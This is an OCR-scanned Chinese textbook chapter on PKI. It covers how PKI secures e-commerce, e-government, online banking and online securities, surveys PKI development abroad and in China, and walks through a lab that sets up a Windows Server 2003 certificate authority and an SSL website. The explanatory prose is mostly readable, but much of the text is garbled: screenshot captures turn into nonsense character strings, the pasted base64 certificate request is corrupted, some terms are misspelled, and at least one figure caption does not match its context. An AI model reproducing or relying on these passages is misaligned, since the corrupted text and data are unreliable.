商务 ,电子 政务 、 网 上 银行 .网 上 证 券 等 都 无 法 开通 。 所 以 PKI 是 一 个 国家 电子 商务 、 电 子 
政务 的 基础 建设 。 

(1) 电子 商务 

电子 商务 按 应 用 模式 分 类 有 B2C、B2B 和 B2G 等 模式 , 按 形式 可 分 为 买方 主导 型 .卖方 
主导 型 和 电子 交易 市 场 型 。 各 种 应 用 模式 和 形式 的 交易 流程 各 不 相同 ,但 在 国内 外 电子 商 
务 中 ,电子 交易 市 场 型 是 发 展 主流 ,在 此 就 其 一 般 流 程 加 以 简要 叙述 。 

一 般 电 子 商务 的 参与 方 有 买方 .卖方 .银行 和 作为 中 介 的 电子 交易 市 场 。 买 方 通过 自己 
的 浏览 器 上 网 ,登录 到 电子 交易 市 场 的 Web 服务 器 ,寻找 卖方 的 虚拟 电子 商场 。 当 买方 登 
录 服 务 器 时 ,要 相互 验证 对 方 证 书 , 相 互 确认 对 方 身份 , 称 为 双向 认证 (B2B 要 求 ) 。 

互相 身份 确认 以 后 ,建立 起 安全 通道 ,买方 浏览 卖方 的 商品 ,进行 讨价还价 之 后 向 商场 
提交 订单 ,其 中 电子 交易 市 场 起 中 介 作 用 。 订 单 里 有 两 种 信息 ,一 部 分 是 订货 信息 ,包括 商 
品名 称 和 价格 ; 另 一 部 分 是 提交 银行 的 支付 信息 ,包括 金额 和 支付 账号 。 买 方 对 这 两 种 信息 
进行 “双重 数字 签名 ”, 分 别 用 商场 和 银行 的 证 书 公 钥 加 密 上 述 信息 。 当 商场 收 到 这 些 交易 
信息 后 , 留 下 订货 单 信息 ,而 将 支付 信息 转发 给 银行 。 商 场 只 能 用 自己 专 有 的 私 钥 解 开 用 自 
己 的 公 钥 加 密 的 订货 单 信息 ,验证 签名 ,而 因 没 有 银行 的 私 钥 , 解 不 开 加 密 的 支付 信息 ,看 不 
到 买方 的 账号 。 同 理 , 银 行 只 能 用 自己 的 私 钥 解 开 用 自己 的 公 钥 加 密 的 支付 信息 ,验证 签 
名 ,进行 划 账 ,而 看 不 到 买方 买 什么 商品 ,做 到 隐私 权 的 保护 。 银 行 在 完成 划 账 以 后 ,通知 起 
中 介 作 用 的 电子 交易 市 场 、 物 流 中 心 和 买方 ,并 进行 商品 配送 。 整 个 交易 过 程 都 是 在 PKI 
所 提供 的 安全 服务 之 下 进行 的 ,做 到 了 安全 ,可靠 \ 保 密 和 不 可 否认 性 。 

(2) 电子 政务 

电子 政务 就 是 指 将 计算 机 网 络 技术 应 用 于 政务 领域 ,其 主 内 容 有 : 网 上 信息 发 布 . 办 公 
自动 化 .网 上 办 公信 息 资 源 共享 等 。 按 应 用 模式 也 可 分 为 G2C、G2B、G2G。PKI 在 电子 政 
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务 中 的 应 用 主要 是 解决 身份 认证 ,数据 完整 性 .数据 保密 性 和 不 可 抵赖 性 等 问题 。 电 子 政务 
的 应 用 领域 很 多 ,这 里 仅 就 其 主要 的 安全 处 理 流程 加 以 说 明 。 如 一 个 保密 文件 发 给 谁 , 某 个 
保密 文件 哪 一 级 的 公务 员 有 权 查 阅 等 ,这 就 需要 进行 身份 认证 。 与 身份 认证 相关 的 是 访问 
控制 , 即 权 限 控制 。 认 证 是 通过 证 书 进行 的 ,访问 控制 是 通过 属性 证 书 或 访问 控制 列表 
(ACL) 完 成 的 。 有 些 文件 在 网 络 传输 中 要 加 密 , 保 证 数据 的 保密 性 ;有 些 文件 在 网 上 传输 
要 求 不 能 被 丢失 和 被 自 改 ;特别 是 一 些 保密 文件 的 收发 必须 要 有 数字 签名 ,抵抗 否认 性 。 电 
子 政务 中 的 这 些 安全 需求 ,只 有 通过 PKI 提供 的 安全 服务 才能 得 到 保证 。 

(3) 网 上 银行 

网 上 银行 是 借助 于 互联 网 技术 向 客户 提供 信息 服务 和 金融 交易 服务 的 新 兴 产 业 。 银 行 
在 互联 网 上 建立 站 点 ,通过 互联 网 向 客户 提供 信息 查询 、 对 账 、 网 上 支付 .资金 划 转 、 信 贷 业 
务 及 投资 理财 等 金融 服务 。 网 上 银行 的 应 用 模式 有 B2C 个 人 业务 、B2B 公司 业务 两 种 。 在 
网 上 开通 这 种 虚拟 银行 的 关键 问题 是 如 何 解决 安全 问题 。PKI 是 网 上 银行 安全 的 基本 
保证 。 

网 上 银行 的 交易 方式 是 点 对 点 的 , 即 客户 对 银行 。 客 户 浏览 器 端 装 有 客户 证 书 ,银行 服 
务 器 端 装 有 服务 器 证 书 。 当 客户 上 网 访问 银行 服务 器 时 ,银行 端 首先 要 验证 客户 端 证 书 , 检 
查 客 户 的 真实 身份 ,确认 是 否 为 银行 真实 客户 。 同 时 服务 器 还 要 到 CA 的 目录 服务 器 ,通过 
LDAP 协议 ,查询 该 客户 证 书 的 有 效 期 和 是 否 进入 黑 名 单 。 认 证 通过 后 ,客户 端 还 要 验证 银 
行 服务 器 端 证 书 , 如 上 所 述 , 此 为 双向 认证 。 双 向 认证 通过 以 后 ,建立 起 安全 通道 。 客 户 端 
提交 交易 信息 ,经 过 客户 的 数字 签名 并 加 密 后 传送 到 银行 服务 器 ,网 关 转 换 后 , 送 到 银行 后 
台 信 息 系统 进行 划 账 ,并 将 结果 进行 数字 签名 后 返回 给 客户 端 。 这 样 就 做 到 了 支付 信息 的 
保密 和 完整 ,以 及 交易 双方 的 不 可 否认 性 。 可 以 说 ,PKI 的 服务 与 网 上 银行 的 安全 要 求 进行 
了 完美 的 结合 。 

网 上 银行 的 交易 具有 如 下 特点 : 可 在 任意 时 间 、 任 意 地 点 和 用 任意 方式 通过 互联 网 提 
交 交 易 。2003 年 在 全 国 抗击 SARS 的 工作 中 ,网 上 银行 在 我 国 经 济 活动 中 起 到 了 非常 好 的 
作用 ,人 们 可 以 不 到 银行 柜台 , 互 不 见面 即 可 照常 办 理 银行 业务 。 当 年 4 一 5 月 份 全 国 网 上 
银行 交易 量 几乎 增加 一 倍 , 在 全 国 抗击 SARS 的 活动 中 网 上 银行 的 作用 可 见 一 斑 。 

(4) 网 上 证 券 

网 上 证 券 广 义 地 讲 是 证 券 业 的 电子 商务 , 它 包括 网 上 证 券 信 息 服 务 、 网 上 股票 交易 和 网 
上 银 证 转账 等 。 网 上 证 券 一 般 属于 B2C 应 用 模式 。 股 民 为 客户 端 , 装 有 个 人 证 书 ,券商 为 
服务 器 端 , 装 有 Web 证 书 。 在 线 交易 时 ,券商 服务 器 只 要 认证 股民 证 书 即 可 ,验证 是 否 为 合 
法 股民 ,是 单 向 认证 过 程 ,认证 通过 后 ,建立 安全 通道 ;股民 在 网 上 的 交易 提交 同样 要 进行 数 
字 签 名 ,网 上 信息 要 加 密 传输 ;券商 服务 器 收 到 交易 请 求 并 解密 ,进行 资金 划 账 并 做 数字 签 
名 ,将 结果 返回 给 客户 端 。 网 上 证 券 的 每 一 交易 步骤 ,都 离 不 开 PKI 的 支持 。 


5. PKI 的 国内 外 发 展 


世界 各 地 ,尤其 是 发 达 国家 ,已 充分 认识 到 PKI 对 国家 利益 的 重要 性 。 它 是 互联 技术 
的 制高点 ,是 互联 网 发 展 和 安全 的 保证 。 

CD 美国 代表 发 达 国 家 PKI 发 展 的 主流 .在 研究 各 联邦 政府 已 建成 的 PKI 体系 的 基础 
上 ,于 1998 年 提出 桥接 CA 的 方案 .联邦 桥接 CA 由 联邦 策略 管理 机 构 控 制 ,其 目的 是 在 联 
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邦 不 同 的 PKI 域 中 提供 可 信任 路 径 。 

(2) 欧盟 于 1997 年 发 表 了 《欧洲 电子 商务 的 主导 权 ) 报 告 ,为 促进 PKT 建设 提供 了 良好 
的 法 律 保障 。 欧 盟 为 了 解决 各 国 的 PKI 协同 工作 问题 ,在 信息 社会 理事 会 设立 项 目 以 资助 
研究 PKI 技 术 。 

(3) 日 本 政府 将 PKT 管理 分 为 两 部 分 , 即 公众 和 私人 两 大 领域 。 日 本 PKI 组 织 架 构 包 
括 : 策略 批准 机 构 、 策 略 执 行 机 构 、 认 证 机 构 、 注 册 机 构 和 证 书 使 用 者 。2000 年 由 日 本 、 韩 
国 、 新 加 坡 等 国家 发 起 了 “亚洲 PKI 论坛 ”, 中 国 、 中 国 台 湾 地 区 、 中 国 香港 也 参加 了 “亚洲 
PKI 论 坛 ”。 

(D. 国内 近 几 年 PKI 有 较 大 发 展 , 自 从 1998 年 第 一 个 认证 中 心 建立 以 来 ,截至 目前 已 
建设 了 七 十 几 家 CA, 人 们 过 高 地 估计 了 中 国电 子 商 务 对 CA 的 需求 ,使 CA 建设 显得 过 热 。 
目前 在 电子 商务 .电子 政务 中 起 不 同 作用 的 有 中 国 金 融 CA(CFCA) ,中国 电信 CA、 外 经 贸 
CA 和 上 海 CA。 其 中 中 国 金 融 CA 是 国家 级 CA, 由 中 国人 民 银 行 牵头 、13 家 商业 银行 参加 
联合 共 建 的 。 它 是 目前 具有 国际 先进 水 平 的 PKI 系统 ,能 为 电子 商务 、 网 上 银行 提供 一 整 
套 PKI 安全 服务 支持 ,已 为 各 商业 银行 的 网 上 银行 B2B 业务 发 放 了 10 万 多 张 高 级 证 书 。 
目前 系统 已 经 过 全 面 升 级 ,达到 了 空前 的 稳定 性 和 安全 性 , 它 将 会 为 中 国 的 电子 商务 起 到 越 
来 越 大 的 作用 。 


3.7 实例 : 构建 基于 Windows 2003 的 CA 系统 


实验 环境 如 图 3-113 所 示 。 


客户 端 Windows XP 


218.198.18.91 
cung * Bern 
Windows 2003 Windows 2003 
218.198.18.93 交换 机 218.198.18.96 


图 3-113 实验 环境 


PKI 原理 回顾 : PKI 是 一 个 用 公 钥 密码 学 技术 来 实施 和 提供 安全 服务 的 安全 基础 设 
施 , 它 是 创建 .管理 存储、 颁布 和 撤销 证 书 所 涉及 的 一 系列 软件 硬件. 人员 、 策 略 和 过 程 的 
集合 。PKI 以 数字 证 书 为 基础 ,使 用 户 在 虚拟 的 网 络 环境 中 能 够 验证 相互 之 间 的 身份 ,并 保 
证 秘密 信息 传输 的 机 密 性 、 完 整 性 和 不 可 否认 性 ,为 电子 商务 交易 的 安全 提供 了 基本 保障 。 
CA 系统 是 PKI 的 核心 ,因为 它 管理 公 钥 的 整个 生命 周期 。 

Windows 2003 Server 对 PKI 做 了 全 面 支持 ,在 提供 高 强度 安全 性 的 同时 ,还 与 操作 系 
统 进 行 了 紧密 集成 ,并 作为 操作 系统 的 一 项 基本 服务 而 存在 ,避免 了 购买 第 三 方 PKI 所 带 
来 的 额外 开销 。 

SSL(Secure Socket Layer, 安 全 套 接 字 层 ) 是 由 Netscape 公司 开发 的 ,被 广泛 应 用 于 
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Internet 上 的 身份 认证 及 Web 服务 器 和 用 户 端 浏览 器 之 间 的 安全 数据 通信 。SSL 协议 在 
TCP/IP 协议 之 上 ,在 HTTP 等 应 用 层 协 议 之 下 ,对 基于 TCP/IP 协议 的 应 用 服务 是 完全 透 
明 的 。 利 用 CA 颁发 的 证 书 , 在 服务 器 和 客户 端 之 间 建 立 可 靠 的 会 话 , 从 而 保证 两 者 之 间 通 
信 的 安全 性 。 通 过 此 类 功能 ,企业 就 可 以 为 相关 用 户 颁 发 证 书 , 并 利用 它 来 控制 只 有 获取 证 
书 的 用 户 才 可 以 进行 基于 安全 通道 协议 ( 即 对 Web 网 站 上 加 密 文件 的 访问 使 用 https. ij dE 
http 方式 ) 验 证 的 访问 。 

下 面 介 绍 实验 的 过 程 。 


1. 安装 证 书 服务 器 (CA 服务 器 ) 


在 218. 198. 18. 93 计算 机 上 ,创建 IISCWeb 服务 器 ) 和 CA 认证 中 心 。 

(1) 创建 IIS 

依次 选择 [开始 了 人 工控 制 面板 命令 , 单 击 【添加 /删除 程序 图标 ,再 单 击 【 添 加 /删除 
Windows 组 件 】 按 钮 ,出现 【Windows 组 件 向 导 】 对 话 框 ,如 图 3-114 所 示 ,选择 [应 用 程序 服 
务 器 选项 。 单 击 【详细 信息 了 按钮 ,弹出 对 话 框 如 图 3-115 Bros ,选择 图 3-115 中 所 示 的 选 
项 , 单 击 [确定 了 按钮 , 回 到 图 3-114, 单 击 【 下 一 步 3 按 钮 ,完成 IIS 的 安装 。 


indors 组 件 向 导 xj 
Tindors 组 件 TS 
可 以 添加 或 名 除 Windows 的 组 件 。 e 
件 ， 清 ,灰色 框 表示 只 会 安装 该 组 件 的 
2 
geo: 

网 络 服务 2.6 mp 到 
BET 4.1 ub 
ORs 14m H 
DEE TELI oom 到 
E gm ASP.NET» Internet 信息 服务 [TS) 和 应 用 程序 服务 器 控制 

所 需 磁盘 空间 14.5 MB [sema gi] 
可 用 磁盘 空间 ; 1191.2 MB 


《上 一 步 @)| 下 一 步 吕 >| 取消 A 


图 3-114. [Windows 组 件 向 导 】 对 话 框 


ED | 


SE PETENS M 


iv (D BRIFIIR com 访问 0.0 Mb 
口 的 启用 网络 m 访问 0.0 MB 
ORHANA 7.0 MB 
lv 篇 应 用 程序 服务 器 控制 台 9.08 e| 


Hie: ITS 包括 Web, FTP, SWTP 和 WTP ZFF, FrontPage Server 
[rc wc d Dr 


i Ec WBW.. 
可 用 磁盘 空间 1191.4 NB. 

Lm | 
图 3-115 详细 信息 


(2) 创建 CA 认证 中 心 

第 1 步 : 在 图 3-114 中 选择 [证 书 服务 了 选项 ,出 现 【Microsoft 证 书 服务 了 对 话 框 , 如 图 3-116 
所 示 , 单 击 【 是 3 按钮 , 回 到 图 3-114, 单 击 【 详 细 信 息 ] 按 钮 ,出 现 【证 书 服务 ] 对 话 框 , 如 图 3-117 
所 示 ,选中 其 中 的 两 项 , 单 击 【 确 定 了 按钮 .出现 如 图 3-118 所 示 对 话 框 ,开始 安装 。 


3-118 CA 类 型 


第 2 步 : 在 图 3-118 中 ,选择 证 书 颁发 类 型 为 [独立 根 CAT. 

选择 证 书 颁发 类 型 包括 : 企业 根 CA、 企 业 从 属 CA 、 独 立根 CA 和 独立 从 属 CA. 

企业 根 CA 和 独立 根 CA 都 是 证 书 颁发 体系 中 最 受信 任 的 证 书 颁发 机 构 , 可 以 独立 地 
颁发 证 书 。 企 业 根 CA 需要 Active Directory 支持 ,而 独立 根 CA 不 需要 。 

从 属 级 的 CA 由 于 只 能 从 另 一 个 证 书 颁发 机 构 获 取证 书 , 所 以 一 般 不 选择 。 


© 


第 3 章 


ES 


1E Windows 2003 Server 中 ,企业 根 CA 使 用 Active Directory 来 确定 申请 人 的 身份 ， 
确定 申请 人 是 否 具有 申请 他 们 所 指定 的 证 书 类 型 的 安全 权限 ,并 由 此 自动 确定 是 否 立 即 颁 
发 证 书 或 拒绝 申请 ,这 种 策略 设置 不 能 被 更 改 。 如 果 选 择 此 选项 一 定 要 注意 保护 含有 此 服 
务 的 服务 器 ,不 能 直接 暴露 在 外 。 

独立 根 CA 可 以 选择 在 收 到 申请 时 自动 颁发 证 书 或 将 申请 保持 为 挂 起 状态 ,由 管理 员 
验证 证 书 申请 者 的 真实 性 及 合法 性 ,决定 是 否 颁 发 证 书 。 

第 3 步 : 在 图 3-118 中 , 单 击 [ 下 一 步 ] 按 钮 ,出 现 如 图 3-119 所 示 对 话 框 ,填写 CA 识别 
信息 , 单 击 [ 下 一 步 ] 按 钮 ,如 图 3-120 Bros ,出 现 【 证 书 数据 库 设 置 】 页 面 , 选 择 证 书 数据 库 及 
日 志 的 位 置 。 


rinaows 组 件 向 导 


3-119 CA 识别 信息 


:WINDOYSVsysten32\CertLog 
[momia aa 


图 3-120 证 书 数据 库 设置 


第 4 步 : 在 图 3-120 中 , 单 击 [下 一 步 ] 按 钮 ,出 现 如 图 3-121 所 示 对 话 框 ,询问 是 否 停止 
Internet 信息 服务 , 单 击 【 是 按钮 ,出现 如 图 3-122 所 示 对 话 框 。 配 置 组 件 过 程 中 ,出 现 如 
图 3-123 所 示 对 话 框 , 单 击 【 是 按钮 。 出 现 如 图 3-124 所 示 对 话 框 , 单 击 【 完 成 按钮 ,安装 


完成 。 
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到 
A 要 完成 安装 ， 证 书 服务 必须 暂时 停止 Internet 信息 服务 。 您 要 现在 停止 服务 吗 ? 
sw | 


图 3-121 是 否 停止 Internet 信息 服务 


Tindows PPAS E 
正在 配置 组 件 = 
安装 程序 正在 根据 您 的 请 求 进行 配置 更 改 。 f] 


TS) 请 稍 候 ， 安 装 程序 正在 配置 姐 件 。 所 花 时 间 取决 于 选 定 的 组 件 。 


状态 :正在 完成 群集 服务 的 配置 


KE SET A | 


oft 证 书 服 务 


dative 52 Ee COUPES. RET eM HER ir A raus: 
zo 


图 3-123 中国 金 融 CA 结构 


完成 “Windows 组 件 向 导 ” 


您 已 成 功 地 充 成 了 Windews 租 件 向 导 . 


要 关闭 此 向 导 ， 请 单 击 “ 完 成 ”。 


图 3-124 安装 完成 


第 5 步 : 设置 证 书 服务 管理 。 依 次 选择 [开始 3I【 程 序 】I【 管 理工 具 】I【 证 书 颁 发 机 构 】 
命令 ,出 现 如 图 3-125 所 示 对 话 框 。 右 击 [jsjiCA] 选 项 ,选择 【属性 了 民 策 略 模块 】 命 令 ,出现 
如 图 3-126 所 示 对 话 框 。 单 击 【属性 了 按钮 ,弹出 如 图 3-127 所 示 对 话 框 ,选择 [将 证 书 请 求 
状态 设置 为 挂 起 。 管 理 员 必 须 明 确 地 颁发 证 书 了 单 选 按钮 , 单 击 【确定 了 按钮 ,完成 证 书 服务 
管理 的 设置 。 

2. 安装 Web 服务 器 (SSL 网 站 ) 


在 218. 198. 18. 96 计算 机 上 ,创建 Web 服务 器 。 


« (9) 


EECEO 


图 3-125 【证 书 颁发 机 构 了 对 话 框 


eu 
-D te 服务 扩展 


图 3-127 ”请求 处 理 图 3-128 【Internet 信息 服务 (IIS) 管 理 器 3 对 话 杠 


第 1 步 : 安装 IIS, 过 程 和 在 218. 198. 18. 93 计算 机 上 一 样 。 

第 2 步 : 依次 选择 [开始 了 民 程 序 ] 民 管理 工具 人 KInternet 信息 服务 (IIS) 管 理 器 】 命 令 ， 
出 现 如 图 3-128 所 示 对 话 框 , 右 击 [ztg 网 站 选项 ,选择 [属性 】 了 民主 目录 了 命令 ,弹出 如 图 3-129 
所 示 对 话 框 ;选择 [文档 选项 卡 , 如 图 3-130 所 示 ; 选 择 [ 目 录 安 全 性 选项 卡 , 如 图 3-131 所 示 。 


3-129 主 目录 图 3-130 【文档 ] 选 项 卡 


在 c:\inetpub\wwwroot 下 面 创建 index. htm 主页 文件 ,内 容 是 “您 正在 访问 ssl 
网 站 1”。 


OX 
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axi 
Ru | 性 能 | smes | E% | xë | 
目录 安全 性 | p. E 1 Bes 
「 身 份 验证 和 访问 控制 
pugsnHuanema nais 
t5 
(Ir 地 址 和 域名 限制 
® EER ptent ee 
BED. 
RII 
=æ DER, ERESNEAEAS Qai. 
ZPRVU 
saw. 


确定 取消 Jur 帮助 


图 3-131 【目录 安全 性 】 选 项 卡 


第 3 步 : 在 图 3-131 中 , 单 击 【 服 务 器 证 书 ] 按 钮 ,弹出 如 图 3-132 所 示 对 话 框 , 单 击 【 下 
- 步 ] 按 钮 ,弹出 如 图 3-133 所 示 对 话 框 ,选择 【新建 证 书 ] 单 选 按钮 。 后 续 过 程 如 图 3-134 — 


欢迎 使 用 Ea 


欢迎 使 用 Web 服务 器 证 书 向 导 


HESuERCUR I ESEENUS. TUER 
QUIESEMEBER Pm BITS Ya 


Web 服务 器 状态 
n 设 有 安装 证 书 ， 且 没有 任何 挂 起 的 请 求 。 
i 
| 有 证 书 。 
单 击 “ 下 一 步 ”按钮 继续 ， 


ow | 
图 3-132 Web 服务 器 证 书 向 导 


C WEVISSIBG REI SAUER O. 
C AA oix XPFSAUESS QU. 
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图 3-133 ”服务 器 证 书 


内 容 。 


单位 信息 
证 书 必须 包含 您 单位 的 相关 信息 ， 以 便 与 其 他 单位 的 证 书 区 分 开 。 


图 3-136 单位 信息 


IS 证 书 向 导 


站 点 公用 名 称 
站 点 公用 名 称 是 其 完全 合格 的 域名 。 


lc: Ncertrec txt 


3-139. 证 书 请 求 文件 名 
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第 4 步 : 在 图 3-131 中 , 单 击 【编辑 了 按钮 ,如 图 3-142 所 示 ,六 
和 【要 求 客 户 端 证 书 了 单 选 按钮 , 单 击 【确定 1 按钮 。 


ARLHS 
COERASGERX. 


ax 


单 击 “ 下 一 步 ”按钮 生成 下 列 请 求 。 


XM: cete txt 
WRESTARE: 
e Ht -win2003spl 
) 
单 XXV 
€ JST 
romm omm | 
图 3-140 请求 文 件 摘要 


完成 Web 服务 器 证 书 向 导 


BR 


[Es JT 


个 包 合 新 i 
EE 


AES, m ART tate 
MEE 


单 击 “ 完 成 ”按钮 关闭 向 导 。 


成 veb 服务 器 证 书 向 导 。 bw em MERI 


Ua 以 
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EE 


图 3-141 完成 证 书 向 导 


(de 要 求 安全 通道 SSL) QD 

fv ER 126 位 加 密 QD 
[客户 端 证 书 
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| 厂 启用 客户 六 证 书 喘 射 D 
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xi 


PP. 这 样 
iB. 


EED. 


| 厂 启用 证 书信 任 列表 W 


| 


图 3-142 


【安全 通信 对 话 杠 


选择 【要 求 安全 通道 ] 复 选 框 
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第 5 步 : 打开 IE 浏览 器 ,在 地 址 栏 输入 http://218. 198. 18. 93/certsrv/ ,如 图 3-143 所 
示 , 单 击 【 申 请 一 个 证 书 ] 链 接 , 弹 出 如 图 3-144 所 示 页 面 , 单 击 【 高 级 证 书 申请 3 链接 ,弹出 如 
图 3-145 所 示 页 面 , 单 击 【 使 用 base64 编码 的 CMC 或 PKCS #10 文件 提交 一 个 证 书 申请 ， 
或 使 用 base64 编码 的 PKCS #7 文件 续 订 证 书 申请 .链接 , 将 图 3-146 所 示 的 C:\ 
certreq. txt 文本 文件 内 的 内 容 , 粘 贴 到 如 图 3-147 所 示 的 [保存 的 申请 ] 文 本 框 中 。 


ET 
Ome -O'DD OPER WX | DS 
RECO [E] sees 7/213 168 18 093/corter/ Jara wm 


|e 


Ere dcs Web RIRES. AFEA CH SEH TREE RA — E 
节 ， 通 过 使 用 证 书 ， 和 您 可 以 向 通 过 Web 通信 的 人 确认 怎 的 身份 ， 签 署 并 
加 密 邮 御 ， 并 且 ， 入 所 您 有 请 的 证 书 的 类 型 ， 执 行 其 地 安全 任 分 。 


您 也 可 以 使 月 a Co ES. 证 书 链 ， 或 证 书 吊 销 
列表 (CRD)， 或 查看 挂 起 的 申请 的 状 


有 关 证 书 服务 的 详细 信息 ， 请 参阅 证 书 服务 文档 . 


ERA ca B. ER CEL 
CO Om 


图 3-143 选择 任务 


Fticrosoft WBR - Microsoft Internet Explorer joj xi 
XPO MED X) KAW IAV 帮助 0 Ej 
Qm .Oa DD cwm e| sow 


HEE [E] http://218. 198. 16.93/ cer tsrv/cer trqus. as 


Microsoft 
申请 一 个 证 书 
选择 一 个 证 书 类 型 : 
Web 浏览 器 证 书 
电子 邮件 保护 证 书 
或 者 ， 提 交 一 个 高 级 证 书 申请 。 


ORE- O-A OPN WEE O| O- s ~- 
HE fE) http://216 199. 16. 93/certsrv/certraad asp x] EJ AA 1R 7 


高 级 证 书 申请 
E: 的 策略 决定 您 可 以 申请 的 证 书 类 别 。 单 击 下 列 选项 之 一 


归并 向 此 CA 提交 一 个 申请 。 


使 用 base64 编码 的 cuc 或 PECS #10 文件 提交 一 个 
证 书 申请 ， 或 使 用 base64 编码 的 PKCS #7 文件 续 订 证 
Ts 


[I T T f OTa 


图 3-145 ”高 级 证 书 申请 
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EGIN NEW CERTIFICATE REQUEST----- 
|HI IDSTCCAr ICRQRub jELHRkGR1UEBhHCQOhxDTRLBgNUBRgeBGyzU1cxDTRLBgNU 
|BRceBGWwTnExDDRKBgNUBROTR 1hVUTEHMAOGR TUECXHDS 1 NKHSUvIuYDUQQDHhwR. 
legBORGcRXuB3RGKRbgRyADRAMARZRHHACARXHIGFHAOGCSqGS Ib3DQEBRQURRACN 
aDCBi QKBgQCz ICHCBd jsp*mk£5JCc2V58/cGbeF9K190ciókMS jTT97kUFCeypRZ 
iEQCuYs2n88SqL GULO jryH2ivpeTo2AWrG*pHBF7KaFFpAOUP « txRVOTIH9j7rQR 
jn9sSRCLQny*UVEnCor2757elREcqBH7urzVzfFF3zusuhóhr V2xoHwIDRQRBOIT IB 
nTRaBgorBgEERYISDQIDHQwUC jUuMi 4zNzkul j IuewVKKuYBBRGCNIBD]jFtHGsu 
|DgYDUROPRQH/BRQDRgTuMEQGCSqGS Ib3DQE JDuQ3HDUvDgY TKo2 IhucNAvICRQCR 
|M&hGCCqGS Ib3DQMERg RgDRHBQUr DgHCBzRKBggqhkiG9u0DBzaTBQNUHSUEDDRK 
IBggr BgEFBQcDRTCB/QYKKvYBBRGCNuOCA jGB7 jCBóuI BRRSaRE GAaQBjAHIAbwBz 
/aG802gBORCRRUQBTREER IRBTREMAaRBhRGhabgBlRGun IRBDRHIReQBuRHQRbuBn 
ahIRYQBwnGgnaQBjncnnUnBynG8ndgBpnGQaZQByRAGJhRRRRRRRRRRRRRRRRRR 
nnnnpnnnnnRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR 
nnnnRRRnRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR 
nnnhhnnnRRRRRRRRRRRRRRRRRRRRRRRRRRwDQYJKoZIhucNRQEFBQRDgYERIQPT 
9oRryWkyd1FHwgNuSINLE+IiEtWYggw8IzKPXe5TYYE351Kihf5IWZQehuoganHR 
QBBxhqqnBukdcgFt6UCJYs1UgWUyCcFZhmGRSu8tuEFBYaxa18CwNemEcu3X99LN 
79pRF3/duhy2T6iB+%69syDJPMPGcUF6jIxuYws= 

-----1 END NEW CERTIFICATE REQUEST-—---| 


图 3-146  certreq. txt 文件 内 容 


提交 一 个 证 书 申请 或 续 订 申请 


要 提交 一 个 保存 的 申请 到 CA， 在 “保存 的 申请 ” 框 中 粘贴 一 
个 由 外 部 源 ( 如 Web 服务 器 ) 生 成 的 base-64 编码 的 CIC 或 
PECS #10 证 书 申请 或 PKCS #7 续 订 申请 。 


保存 的 申请 : 

ARARAAAAAAARARAARARAAAAAAAAAAARARARAAAAAAAA A] 
Base-64 IAIN) |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDOYI 
证 书 申请 sopry Vkyd1FHvgNuS INLE«TiEtWYggvBIrKPXeST 
(CC 9 |QBBxNQOnBvKdcgF t 6UCJ Ys 1UgUV yCcF Z mGABvOt. 
PECS $10 或 |9pRF3/dvhY2T61B*469syDJPMPGCVF6jIxvYus* 


PEs?): — [---- END NEU CERTIFICATE REQUEST----- 


图 3-147. ”粘贴 到 [保存 的 申请 ] 文 本 框 


在 图 3-147 中 , 单 击 [提交 按钮 ,如 图 3-148 Bros ,申请 的 证 书 处 于 挂 起 状态 。 

第 6 步 : 在 证 书 服务 器 上 (218. 198. 18. 93 计算 机 ) ,依次 选择 [开始 YI【 程 序 】I【 管 理工 
具 了 民 证 书 颁发 机 构 】 命 令 ,弹出 如 图 3-149 所 示 对 话 框 。 单 击 左 侧 栏 的 【 挂 起 的 申请 3 选项 ， 
在 右 侧 栏 右 击 一 个 挂 起 的 申请 ,依次 选择 【所 有 任务 3I【 颁 发 3 命令 。 

第 7 步 : 在 218.198. 18. 93 计算 机 上 ,在 图 3-143 中 , 单 击 【 查 看 挂 起 的 证 书 申请 的 
状态 链接 ,出 现 如 图 3-150 所 示 页 面 , 单 击 【保存 的 申请 证 书 链 接 ,出 现 如 图 3-151 所 
示 页 面 , 单 击 【下 载 证 书 链 ] 链 接 ,出 现 如 图 3-152 所 示 对 话 框 , 单 击 【保存 ] 按 钮 ,将 文件 


certnew. p7b 保存 在 桌面 。 
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ET Internet Explorer 

XD SED SEO BRW IAD Sho | & 
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三 crosoft 证 书 服务 一 pay 三 


证 书 挂 起 


您 的 证 书 申请 已 经 收 到 。 但 是 ， 您 必须 等 符 管理 员 颁 发 您 申请 的 证 书 。 
您 的 申请 Id 为 2。 
请 在 一 天 或 两 天 内 返回 此 网 站 以 检索 您 的 证 书 。 


注意 : 您 必须 用 此 Veb 浏览 器 在 10 天 内 和 返回 以 检索 你 的 证 书 Bi 
[ [T T [T emis 4 


图 3-148 证 书 挂 起 
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HEO [Æ http://218. 198. 18. 93/certsrv/certckpn asp — X] EJES 


Microsoft 证 


查看 挂 起 的 证 书 申请 的 状态 


请 选择 您 要 查看 的 证 书 申请 : 
保存 的 申请 证 书 (2010 年 6 月 4 日 23:43:24) 


xq) SEO FEV KRW IAW Wh 
OsR-O-iJio|Psm eR OO S ME- 
Mat) [8] http://218 199. 18 93/certsrv/certfnsh asp Z| 


Ricrosoft TP L 
证 书 已 颁发 | 
您 申请 的 证 书 已 颁发 给 您 。 
CDER 编码 或 OBase 64 编码 
EE | [o sax s | 


图 3-151 证 书 已 颁发 


第 3 章 ”密码 技术 


xi 
SETTE HR 
pz] Ee een 


类 型 : PCS DUEB, 2.05 X8 
发 送 者 : 218. 198.18. 93 


mro Li 


Iv 打开 此 区 文件 之 前 总 是 询问 名) 


9 Wen 


图 3-152 【文件 下 载 ] 对 话 框 


第 8 步 : 在 图 3-131 中 , 单 击 【 服 务 器 证 书 按 钮 ,出 现 如 图 3-153 所 示 对 话 框 , 单 击 
【下 一 步 ] 按 钮 。 后 续 过 程 如 图 3-154 一 图 3-158 所 示 , 完 成 证 书 的 安装 。 


欢迎 使 用 Web 服务 器 证 书 向 导 


和 


ve 服务 器 状态 


存在 挂 起 的 证 书 请 求 。 证 书 向 导 格 帮助 您 处 理 证 书 颁 
发 机 构 的 响应 或 船 阶 此 挂 起 的 请 求 。 


单 击 “ 下 一 步 ”按钮 继续 。 


So -- | 
图 3-153 证书 向 导 


挂 起 的 证 书 请 求 
挂 起 的 证 书 请 求 是 指证 书 烦 发 机 构 尚未 响应 的 请 求 


《上 - 步 四 取消 


图 3-154 ” 挂 起 的 证 书 请 求 


